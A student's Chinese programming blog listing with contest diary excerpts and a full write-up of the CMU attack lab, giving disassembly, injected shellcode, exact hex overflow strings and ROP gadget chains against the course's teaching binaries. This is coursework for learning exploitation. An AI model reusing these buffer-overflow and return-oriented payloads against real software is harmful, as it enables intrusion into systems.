摘要: NOI2020游记 来好好写一个游记。 day-1 在一中新华都打摆被抓。 day0 在家打摆 在一中新华都打摆 笔试成功挂了一分 晚上打了一大堆数论板子,然而没有什么用 day1 开考前发现wzp坐我右边左边没人。 开题后秒了t1的矩阵,然而忘了行向量少个n的优化就想了一年。 wzp大概开场就切了 阅读全文
posted @ 2020-08-16 16:24 菜狗xzz 阅读(2484) 评论(10) 推荐(24) 编辑
摘要: day -1 在学校打摆没被抓。 day 0 在家打摆。 day 1 来雅礼洋湖中学打摆 开场看完题之后,感觉全都不可做,T1好长啊,T2好短啊,T3一看就不会。 T1好呆啊,T2更呆啊,T3保序回归不会。 出来发现一堆人T1被卡常了/jk,然后发现T1被卡了。 T1被卡了很气,感觉没什么希望了就开 阅读全文
posted @ 2020-06-16 20:53 菜狗xzz 阅读(1306) 评论(5) 推荐(4) 编辑
摘要: yyb太强啦! 我退役稳了QwQwQwQ 阅读全文
posted @ 2019-12-31 21:05 菜狗xzz 阅读(943) 评论(1) 推荐(3) 编辑
摘要: 10.27 今日不更 10.28 今日不更 10.29 今日不更 10.30 今日不更 阅读全文
posted @ 2019-12-27 11:48 菜狗xzz 阅读(738) 评论(1) 推荐(3) 编辑
摘要: Day 0 懒得写了 Day 1 爆炸了 期望得分:0+0+0 实际得分:0+0+0 Day 2 随便一打分数就比昨天的114514倍还高,翻盘了! 期望得分:10+0+0 实际得分:10+0+0 Day 3 实在是很奇怪,为啥我分这么高但是没有约 阅读全文
posted @ 2019-12-06 20:08 菜狗xzz 阅读(1318) 评论(8) 推荐(3) 编辑
摘要: CSP2019退役记 前言 很遗憾,这次是真退役了。 回去接受study study study study study的制裁了。 Day0 9:30准时起床。 24:00准时睡觉。 Day1 大约8:10进考场开始打代码 密码是 ~~认真撕尻~~ 打开敲完配置,8:25发题了 ~ 阅读全文
posted @ 2019-11-17 17:11 菜狗xzz 阅读(1337) 评论(5) 推荐(7) 编辑
摘要: 访问量肯定要骗的 然后 cts 打铁了。 apio? 这证书不是我的 阅读全文
posted @ 2019-05-12 11:11 菜狗xzz 阅读(1234) 评论(7) 推荐(4) 编辑
摘要: 退役了。 阅读全文
posted @ 2019-02-26 14:26 菜狗xzz 阅读(2300) 评论(8) 推荐(12) 编辑
摘要: PKUWC2019爆0记 访问量该骗的还是要骗。 1.20 坐了一天的高铁到jz了,热的一批 1.21 上午开营仪式 下午day1 打开发现有个地主斗 然后开T1 出题人你™搞笑吧放一道sb都能切的题 然后开T2 发现非常的可做就写了(题解在后面) 然后写了3h+的T3 成功爆0 sb出题人 告辞 阅读全文
posted @ 2019-01-19 19:22 菜狗xzz 阅读(2152) 评论(6) 推荐(9) 编辑

有点东西

题目地址 下发文件

PartI Level1

基础练习,注意使用hex2raw工具生成攻击串。

Dump of assembler code for function getbuf:
   0x00000000004017a8 <+0>:     sub    $0x28,%rsp
   0x00000000004017ac <+4>:     mov    %rsp,%rdi
   0x00000000004017af <+7>:     callq  0x401a40 <Gets>
   0x00000000004017b4 <+12>:    mov    $0x1,%eax
   0x00000000004017b9 <+17>:    add    $0x28,%rsp
   0x00000000004017bd <+21>:    retq   
在<+12>位置找到%rsp的值,为0x5561dc78

(gdb) p/x *(0x5561dc78+40)
$4 = 0x401976
(gdb) disass test
Dump of assembler code for function test:
   0x0000000000401968 <+0>:     sub    $0x8,%rsp
   0x000000000040196c <+4>:     mov    $0x0,%eax
   0x0000000000401971 <+9>:     callq  0x4017a8 <getbuf>
   0x0000000000401976 <+14>:    mov    %eax,%edx
   0x0000000000401978 <+16>:    mov    $0x403188,%esi
   0x000000000040197d <+21>:    mov    $0x1,%edi
   0x0000000000401982 <+26>:    mov    $0x0,%eax
   0x0000000000401987 <+31>:    callq  0x400df0 <__printf_chk@plt>
   0x000000000040198c <+36>:    add    $0x8,%rsp
   0x0000000000401990 <+40>:    retq   
Dump of assembler code for function touch1:
   0x00000000004017c0 <+0>:     sub    $0x8,%rsp
   0x00000000004017c4 <+4>:     movl   $0x1,0x202d0e(%rip)        # 0x6044dc <vlevel>
   0x00000000004017ce <+14>:    mov    $0x4030c5,%edi
   0x00000000004017d3 <+19>:    callq  0x400cc0 <puts@plt>
   0x00000000004017d8 <+24>:    mov    $0x1,%edi
   0x00000000004017dd <+29>:    callq  0x401c8d <validate>
   0x00000000004017e2 <+34>:    mov    $0x0,%edi
   0x00000000004017e7 <+39>:    callq  0x400e40 <exit@plt>

只要把0x5561dc78+40修改成touch1的开始位置0x00000000004017c0即可

转二进制是00000000 01000000 00010111 11000000。在小端序机器上最后一位正好是0,所以不用管'\0'的问题。

input hex:30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 c0 17 40

命令:echo 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 c0 17 40 | ./hex2raw | ./ctarget -q

PartI Level2

代码没有加栈随机,找到在<+12>位置%rsp的值为0x5561dc78,我们在此插入代码设置rdi并call touch2即可

由于各种攻击跳转必须用ret执行,插入的汇编代码如下:

p1l2.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 fa 97 b9 59 	mov    $0x59b997fa,%rdi
   7:	48 c7 04 24 ec 17 40 	movq   $0x4017ec,(%rsp)
   e:	00 
   f:	c3                   	retq   

input hex:

48 c7 c7 fa 97 b9 59
68 ec 17 40 00
c3
30 30 30 30 30
30 30 30 30 30
30 30 30 30 30
30 30 30 30 30
30 30 30 30 30
30 30
78 dc 61 55

首先通过缓冲区溢出让代码执行到mov指令,然后再次修改让代码进入touch2即可

PartI Level3

和Level2差不多,只是变成要传一个字符串了。我们把串放在缓冲区就行。

p1l3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:	48 c7 c7 97 dc 61 55 	mov    $0x5561dc97,%rdi
   7:	48 81 ec 00 01 00 00 	sub    $0x100,%rsp
   e:	68 fa 18 40 00       	pushq  $0x4018fa
  13:	c3                   	retq   

sub %rsp命令不加的话插入的字符串会不知道为什么被改掉,所以加了一点空隙。

input hex:

48 c7 c7 97 dc 61 55
48 81 ec 00 01 00 00
68 fa 18 40 00
c3
30 30 30 30 30
30 30 30 30 30
30
35 39 62 39 39 37 66 61 00
78 dc 61 55

PartII Level1

这个part是让我们利用代码的片段进行result攻击。dump结果如下:

0000000000401994 <start_farm>:
  401994:	b8 01 00 00 00       	mov    $0x1,%eax
  401999:	c3                   	retq   

000000000040199a <getval_142>:
  40199a:	b8 fb 78 90 90       	mov    $0x909078fb,%eax
  40199f:	c3                   	retq   

00000000004019a0 <addval_273>:
  4019a0:	8d 87 48 89 c7 c3    	lea    -0x3c3876b8(%rdi),%eax
  4019a6:	c3                   	retq   

00000000004019a7 <addval_219>:
  4019a7:	8d 87 51 73 58 90    	lea    -0x6fa78caf(%rdi),%eax
  4019ad:	c3                   	retq   

00000000004019ae <setval_237>:
  4019ae:	c7 07 48 89 c7 c7    	movl   $0xc7c78948,(%rdi)
  4019b4:	c3                   	retq   

00000000004019b5 <setval_424>:
  4019b5:	c7 07 54 c2 58 92    	movl   $0x9258c254,(%rdi)
  4019bb:	c3                   	retq   

00000000004019bc <setval_470>:
  4019bc:	c7 07 63 48 8d c7    	movl   $0xc78d4863,(%rdi)
  4019c2:	c3                   	retq   

00000000004019c3 <setval_426>:
  4019c3:	c7 07 48 89 c7 90    	movl   $0x90c78948,(%rdi)
  4019c9:	c3                   	retq   

00000000004019ca <getval_280>:
  4019ca:	b8 29 58 90 c3       	mov    $0xc3905829,%eax
  4019cf:	c3                   	retq   
  1. setval_426 有一个48 89 c7 90 c3,那么4019c5位置可以执行mov %rax, %rdi; nop; retq,非常有用。
  2. getval_280 有一个58 90 c3,4019cc可以执行popq %rax; nop; retq

结合以上两条命令就可以直接开写了。

input hex:

30 30 30 30 30 30 30 30 30 30 
30 30 30 30 30 30 30 30 30 30 
30 30 30 30 30 30 30 30 30 30 
30 30 30 30 30 30 30 30 30 30 

cc 19 40 00 00 00 00 00 /* popq %rax; nop; retq */
fa 97 b9 59 00 00 00 00 /* 被popq拿到,赋给%rax */
c5 19 40 00 00 00 00 00 /* mov %rax, %rdi; nop; retq */
ec 17 40 00 00 00 00 00 /* touch2 */

PartII Level2

分析一下,上面的两个命令很强大,而level2开放了add两数的命令,如果能拿到放string开头的地址就很好做了。

addval_190 401a06: mov %rsp, %rax

getval_481 4019dd: mov %eax, %edx

getval_311 401a69: mov %edx, %ecx

addval_436 401a13: mov %ecx, %esi

以上可以让我们对%esi赋值,通过rsp和add_xy算出相对位置就行了。

input hex:

30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 
30 30 30 30 30 30 30 30 30 30 
30 30 30 30 30 30 30 30 30 30 

cc 19 40 00 00 00 00 00 /* popq %eax */
28 00 00 00 00 00 00 00 /* 用于pop40 */

dd 19 40 00 00 00 00 00 /* movl %eax, %edx */
69 1a 40 00 00 00 00 00 /* movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* movl %ecx, %esi, 此时%esi = 40 */

06 1a 40 00 00 00 00 00 /* movq %rsp, %rax */
c5 19 40 00 00 00 00 00 /* movq %rax, %rdi */

d6 19 40 00 00 00 00 00 /* add_xy, leaq (%rdi, %rsi, 1) %rax */

c5 19 40 00 00 00 00 00 /* movq %rax, %rdi */
fa 18 40 00 00 00 00 00
00 00 00 00 00 00 00 00
35 39 62 39 39 37 66 61 00

总结:没有bomblab折磨

posted @ 2022-06-17 16:19 菜狗xzz 阅读(144) 评论(0) 推荐(1) 编辑
摘要: 总结:纯纯的折磨,吐了。 阅读全文
posted @ 2022-06-16 15:37 菜狗xzz 阅读(103) 评论(0) 推荐(0) 编辑
摘要: 我垫底了 由于退役就不写了。 阅读全文
posted @ 2020-12-14 11:15 菜狗xzz 阅读(562) 评论(1) 推荐(0) 编辑
摘要: #!/usr/bin/python3 import sys,os,random os.system("mkdir alldata") A=[] for root,dirs,file in os.walk("."): if root[2:9]=="alldata" or root==".":conti 阅读全文
posted @ 2020-12-02 11:39 菜狗xzz 阅读(283) 评论(0) 推荐(0) 编辑
摘要: // ==UserScript== // @name IOI-HW用户名修改 // @match https://ioihw20.duck-ac.cn/* // @grant none // ==/UserScript== (function() { 'use strict'; var L=new 阅读全文
posted @ 2020-10-12 21:33 菜狗xzz 阅读(730) 评论(0) 推荐(1) 编辑
摘要: ACL Contest 1 F - Center Rearranging 退役选手来翻译题解了 首先B由A操作而来,B一定有连续一段是没被动过的,将它们称为M;M左边都被被动过,且最后一次被用了一个push_front操作,称为L;M右边最后一次操作是push_back,称为R $L\cdots L 阅读全文
posted @ 2020-09-23 08:44 菜狗xzz 阅读(473) 评论(0) 推荐(4) 编辑
摘要: 转置原理口胡 抄自:cy的WC2020课件、rqy的uoj博客和个人博客 本文没有任何严谨证明,基本都是博主自己口胡的。 也不保证不会出锅,因为博主是垃圾。 线性算法 见cy的WC2020课件。 转化 有一个DAG,点数为n+k+m,满足所有边形如u v a(n<u<v)。 DAG分为三 阅读全文
posted @ 2020-09-03 15:10 菜狗xzz 阅读(859) 评论(3) 推荐(8) 编辑
摘要: gcz稳了 upd:确实稳了 阅读全文
posted @ 2020-08-15 23:20 菜狗xzz 阅读(731) 评论(0) 推荐(2) 编辑
摘要: http://uoj.ac/submission/422905 阅读全文
posted @ 2020-08-12 21:58 菜狗xzz 阅读(388) 评论(0) 推荐(0) 编辑
摘要: 重启解决90%问题 重装解决99%问题 重买解决100%问题 阅读全文
posted @ 2020-02-13 18:54 菜狗xzz 阅读(553) 评论(0) 推荐(3) 编辑
摘要: 退役IV次后做题记录 我啥都不会了。。。。 AGC023 D 如果所有的楼房都在S同一边可以直接得出答案。 否则考虑最左最右两边的票数,如果左边 =右边,那么最右边会投给左边,因为就算车往右开,只要没走到最左边,最后也要折回左边,所以不如先走完左边然后直接过来。左边A_i$的值显然没有贡献,所以 阅读全文
posted @ 2019-12-05 11:30 菜狗xzz 阅读(442) 评论(0) 推荐(0) 编辑
摘要: 鬼知道这东西竟然更新了。。。 2020.1.27 增加gym支持,顺便删了codeforc.es 2020.1.30 上次改锅了。。。修锅 2020.3.20 又修了个锅 阅读全文
posted @ 2019-11-02 17:18 菜狗xzz 阅读(581) 评论(0) 推荐(0) 编辑
摘要: 退役III次后做题记录(扯淡) CF607E Cross Sum 计算几何屎题 直接二分一下,算出每条线的位置然后算 注意相对位置这个不能先搞出坐标,直接算角度就行了,不然会卡精度/px flag:计几题都不写了 CF611G New Year and Cake 真香 双指针扫可行的区间然后维护。 阅读全文
posted @ 2019-10-24 19:17 菜狗xzz 阅读(621) 评论(0) 推荐(1) 编辑
摘要: A&G¥C015 A A+...+B Problem 正常A+B我还是会的,但是又加了个省略号就不会了/kk B Evilator 不会 C Nuske vs Phantom Thnook ~~以为是神仙题~~ 因为保证了是棵树直接点 边即可 D A or...or B Problem 开始自闭 这 阅读全文
posted @ 2019-10-23 21:31 菜狗xzz 阅读(374) 评论(0) 推荐(3) 编辑
























































点击右上角即可分享
微信分享提示